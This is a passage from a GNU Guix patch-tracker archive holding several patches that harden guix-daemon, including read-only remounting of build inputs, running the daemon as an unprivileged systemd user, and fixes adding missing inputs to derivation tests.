+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:05 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:05 2025
Received: from localhost ([127.0.0.1]:47864 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OK-0004dN-4G
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:05 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36542)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NM-0004PO-8i
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:08 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NG-0002EY-Dg; Fri, 28 Feb 2025 09:29:58 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=WLW6IffmqGQ4nvr5FusvR17usLyG/jdfaM2u5a/nHO8=; b=fCdINh4nYA5jv3NNQVmE
 5U+uvgrqowjCXuKjkFXjFYNuoCkwzoby2ivC8IjiA9mLYQzXTWyYqioQ5ERKd20Yn5Mfy7ae3kPaY
 k4BsDQIRaOSORzHVp5tYOCVW2Ia1I4ni98xSajw+iSmARggOMWq/awTyZbgImNmNlJlKs9k9mj/7R
 8AnXIz/Gt3gbV27gmM39MYna/m+/k8dL42aBYM2CUhLOqhpfpJuKh/AbSy0l+kAAf27nTUeki3DT0
 LmdAe06GzFQivuIFETRngDiTIUi1UfcgCC9MBFUk1WzyU94DnTAFuea6L/vgORuSG3cS2P4MEYE2H
 FsQuOBvfDhRoWQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 04/14] daemon: Remount inputs as read-only.
Date: Fri, 28 Feb 2025 15:29:23 +0100
Message-ID: <2c64a81a3bcd1ea6e79d24dea82ea6bf28af6aac.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.5 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.5 (--)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 193b279b88a..3861a1ffd90 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2107,8 +2107,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source.compare(0, settings.nixStore.length(), settings.nixStore) == 0) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:04 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:04 2025
Received: from localhost ([127.0.0.1]:47862 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OJ-0004dA-CW
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:04 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45430)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NU-0004R4-AZ
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:16 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NO-0002SA-T6; Fri, 28 Feb 2025 09:30:06 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fWWXPGKmocenmkwm2NuKznHSEy4eXcjP6Tuf4/xJCg8=; b=OFFALB3RGHuqz5U14ckP
 3EwEwpVKFXNZUg90zz+4f52Y4Ovz0Wqh06DCtBRfefpous+hsvbbzEElDMPV2/XpHmmHPPp1yrHhb
 ybJx6lUkFQuOGpO6z312OKAeyfI4kqD3bJcSSZo4GJRe7+oPNvREuo0aIBycHKxpszf3i2hkkXXiq
 NS/nz9QetzKVkamU6R3YtDcNKafzJh339lE+d+aR/9TuX/uRV1sRB+lSwHl5nnoloHb+qUVjkzqWp
 MfXLcz15vnmMVvaBgHbGSWPkG4F1v/B3TJTZFA3yMl0UKptPLYQc30d0R6gBCpUCOVd6LELDyz3B7
 k5wnfj5UJQ+/pA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 12/14] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Fri, 28 Feb 2025 15:29:31 +0100
Message-ID: <ad43a913694738760d5e4f77af620af19d228801.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(Before, User, AmbientCapabilities, PrivateMounts, BindPaths): New fields.
* etc/gnu-store.mount.in (Before): Remove.
(WantedBy): Change to ‘multi-user.target’.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/gnu-store.mount.in     |  3 +--
 etc/guix-daemon.service.in | 20 +++++++++++++++++++-
 2 files changed, 20 insertions(+), 3 deletions(-)

diff --git a/etc/gnu-store.mount.in b/etc/gnu-store.mount.in
index c94f2db72be..f9918c9e52e 100644
--- a/etc/gnu-store.mount.in
+++ b/etc/gnu-store.mount.in
@@ -2,10 +2,9 @@
 Description=Read-only @storedir@ for GNU Guix
 DefaultDependencies=no
 ConditionPathExists=@storedir@
-Before=guix-daemon.service
 
 [Install]
-WantedBy=guix-daemon.service
+WantedBy=multi-user.target
 
 [Mount]
 What=@storedir@
diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1b..a04cf1f2f0f 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -5,11 +5,29 @@
 [Unit]
 Description=Build daemon for GNU Guix
 
+# Start before 'gnu-store.mount' to get a writable view of the store.
+Before=gnu-store.mount
+
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Bind-mount the store read-write in a private namespace, to counter the
+# effect of 'gnu-store.mount'.
+PrivateMounts=true
+BindPaths=@storedir@
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:03 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:03 2025
Received: from localhost ([127.0.0.1]:47859 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OI-0004d0-Rk
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:03 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45452)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NW-0004RY-7N
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:16 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NQ-0002Sb-PA; Fri, 28 Feb 2025 09:30:08 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=aclAN4I3us6dIXC6MTr5TCJIgd9trnsuFHdiamwNBz8=; b=o3/dfnYyq/pNKyolW8VG
 jVo+vDs+Sed+GZGVxSI/MuKtJYEFxVJlWRRdtbjmJQnC+bRzbOm1noST12fY+Qh0pcngbMVx7elKM
 U3sCCaew1ZJ5UKDaDqWWBpg8Ra1UpzOukU8a3s2aFrh/HYq6Uur+iwS2thjSLUeVmNeH/lEr2M16p
 AXE466hrBPLi2CbZgFhUKpw5PFawfkI3SiiAn/2IeTsaIpdClf2Y8n4NmBIGJ6UQRGcrlH+QQUESg
 kgeLaDsncZQAEdBBOAfUla6pcGgiStccVuMYaRiCuBPOODnkYQyyGVbKZ58S8TzFfhiHtP962JXT1
 ZWkFydyeB7px2g==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 14/14] =?UTF-8?q?DRAFT=20gexp:=20No=20symlinks=20for=20?=
 =?UTF-8?q?=E2=80=98imported-files/derivation=E2=80=99.?=
Date: Fri, 28 Feb 2025 15:29:33 +0100
Message-ID: <4f4dfe6ff53cb4ff0832a0f02640735c0e3fa52a.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT: Wait for <https://issues.guix.gnu.org/76376>.

* guix/gexp.scm (imported-files/derivation): Pass #:recursive? #f to
‘interned-file’ and call ‘readlink*’ on ‘file-name’.

Change-Id: Idc5b59cd8f0c1217e84c7cbfba64d97d5999429f
---
 guix/gexp.scm | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/guix/gexp.scm b/guix/gexp.scm
index ad51bc55b78..ddd2e1a0812 100644
--- a/guix/gexp.scm
+++ b/guix/gexp.scm
@@ -1584,8 +1584,9 @@ (define* (imported-files/derivation files
   (define file-pair
     (match-lambda
      ((final-path . (? string? file-name))
-      (mlet %store-monad ((file (interned-file file-name
-                                               (basename final-path))))
+      (mlet %store-monad ((file (interned-file (readlink* file-name)
+                                               (basename final-path)
+                                               #:recursive? #f)))
         (return (list final-path file))))
      ((final-path . file-like)
       (mlet %store-monad ((file (lower-object file-like system)))
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:02 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:02 2025
Received: from localhost ([127.0.0.1]:47857 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OG-0004cX-Uv
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:02 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45406)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NR-0004Qm-VN
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:13 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NM-0002Ra-G3; Fri, 28 Feb 2025 09:30:04 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=MrAPisSjnu47SdKFbk6IPhnOUMkhBCPYlfMXNLE80zk=; b=YeafyD386Cwipu2fPfAD
 GyKHsuFtjCbiEimQMqh2Mkxx+vnsSYCU8p4qbLZ2mnUzjbRBOcRwmpZOttVAbrPw3ZyQ++BaDtO6X
 RIeMuwYZOdWzX3mG3AUEWsxUtjuTxYULFfqE9JGzC+H51IPUQEv1Gc9ZaV94cN5pX/bHqS1Itk7/U
 TlO9v0o2lOTT5VfzgCLXOYtccWnoBuTSYnjSEnPaWCAGDkXZeoD0XSDfaMxO7lTcA9YfuLRdxR+bJ
 EOisKjZSB9JNg9FYS4yEPC/DHXV9Ti8K5+OMHPjp0odcCZRYSnfwkTpEbhA8xS50ywDV9Wg2Qs+cc
 iY2rko7R5i1Vtg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 10/14] tests: Add missing derivation inputs.
Date: Fri, 28 Feb 2025 15:29:29 +0100
Message-ID: <f32d600f0b63651c64531ff5df0dbedd4152bcc4.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

These missing inputs go unnoticed when running ‘guix-daemon
--disable-chroot’ but are immediately visible otherwise.

* tests/derivations.scm ("fixed-output derivation"): Add %BASH to #:sources.
("fixed-output derivation: output paths are equal"):
("fixed-output derivation, recursive"):
("derivation with a fixed-output input"):
("derivation with duplicate fixed-output inputs"):
("derivation with equivalent fixed-output inputs"):
("build derivation with coreutils"): Likewise.
* tests/packages.scm (bootstrap-binary): New procedure.
("package-source-derivation, origin, sha512"): Use it instead of
‘search-bootstrap-binary’ and add BASH to #:sources.
("package-source-derivation, origin, sha3-512"): Likewise.

Change-Id: I4c9087df23c47729a3aff15e9e1435b7266e36e2
---
 tests/derivations.scm | 24 +++++++++++++++---------
 tests/packages.scm    | 13 +++++++++----
 2 files changed, 24 insertions(+), 13 deletions(-)

diff --git a/tests/derivations.scm b/tests/derivations.scm
index 72ea9aa9ccb..f30f05474e3 100644
--- a/tests/derivations.scm
+++ b/tests/derivations.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -443,7 +443,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                      (string-append
                                       "fixed-" (symbol->string hash-algorithm))
                                      %bash `(,builder)
-                                     #:sources `(,builder) ;optional
+                                     #:sources (list %bash builder)
                                      #:hash hash
                                      #:hash-algo hash-algorithm)))
            (build-derivations %store (list drv))
@@ -462,9 +462,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv1       (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (drv2       (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (succeeded? (build-derivations %store (list drv1 drv2))))
     (and succeeded?
@@ -477,7 +479,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv        (derivation %store "fixed-rec"
                                  %bash `(,builder)
-                                 #:sources (list builder)
+                                 #:sources (list %bash builder)
                                  #:hash (base32 "0sg9f58l1jj88w6pdrfdpj5x9b1zrwszk84j81zvby36q9whhhqa")
                                  #:hash-algo 'sha256
                                  #:recursive? #t))
@@ -511,9 +513,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed-out  (derivation->output-path fixed1))
          (builder3   (add-text-to-store
@@ -548,9 +552,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (builder3   (add-text-to-store %store "builder.sh"
                                         "echo fake builder"))
@@ -580,21 +586,21 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                       '()))
          (hash     (gcrypt:sha256 (string->utf8 "hello")))
          (drv1     (derivation %store "fixed" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:hash hash #:hash-algo 'sha256))
          (drv2     (derivation %store "fixed" %bash (list builder2)
-                               #:sources (list builder2)
+                               #:sources (list %bash builder2)
                                #:hash hash #:hash-algo 'sha256))
          (drv3a    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv1))))
          (drv3b    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv2))))
          (drv4     (derivation %store "fixed-user-user" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:inputs (list (derivation-input drv3a '("one"))
                                               (derivation-input drv3b '("two"))))))
     (match (derivation-inputs drv4)
@@ -878,7 +884,7 @@ (define %coreutils
                                     ,(string-append
                                       (derivation->output-path %coreutils)
                                       "/bin")))
-                      #:sources (list builder)
+                      #:sources (list %bash builder)
                       #:inputs (list (derivation-input %coreutils))))
          (succeeded?
           (build-derivations %store (list drv))))
diff --git a/tests/packages.scm b/tests/packages.scm
index 2863fb5991e..701bcd4a333 100644
--- a/tests/packages.scm
+++ b/tests/packages.scm
@@ -79,6 +79,11 @@ (define %store
 ;; When grafting, do not add dependency on 'glibc-utf8-locales'.
 (%graft-with-utf8-locale? #f)
 
+(define (bootstrap-binary name)
+  (let ((bin (search-bootstrap-binary name (%current-system))))
+    (and %store
+         (add-to-store %store name #t "sha256" bin))))
+
 
 (test-begin "packages")
 
@@ -608,14 +613,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha512"
   "hello"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
@@ -634,14 +639,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha3-512"
   "hello, sha3"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello, sha3 > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha3-512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:01 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:01 2025
Received: from localhost ([127.0.0.1]:47855 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OG-0004cN-1X
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:00 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45384)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NP-0004QE-PV
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:11 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NK-0002GH-EC; Fri, 28 Feb 2025 09:30:02 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=JVfl/asypkCDUpbrB8bsnxtK7I5iWUTxJVun/LKjTyM=; b=diwFFV98p3ZTAUsqAtQH
 5RT+3eLetvEcQKPhnJ6yEOmSh61Wzaw85orEqrAIigDCgdNahClIe2+6emudeFbnAAFGTIIHNvVUS
 0IvvoAJkgA9oMhEW05JQWxPKmPI6ZxxkLzt6mT9R4AeIzDSp+3ubE36d7hZXjOhj9RE49gerwKSS1
 hss3fjRPkVOrdqXZgdXXq0ZF9w68N6U90pz7PVPvmlYIp3Y88aYVU3PlNmXw0izO9zzKNKDjxWmX4
 KOFuyuKhTHlWXgE8F003PHBRuj5YCXWFjYYelBggTQkEDt2Uq/nVOr8O5j6eQSqecO2zjhuHKpnc9
 /+VuY4llPB/vqg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 08/14] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Fri, 28 Feb 2025 15:29:27 +0100
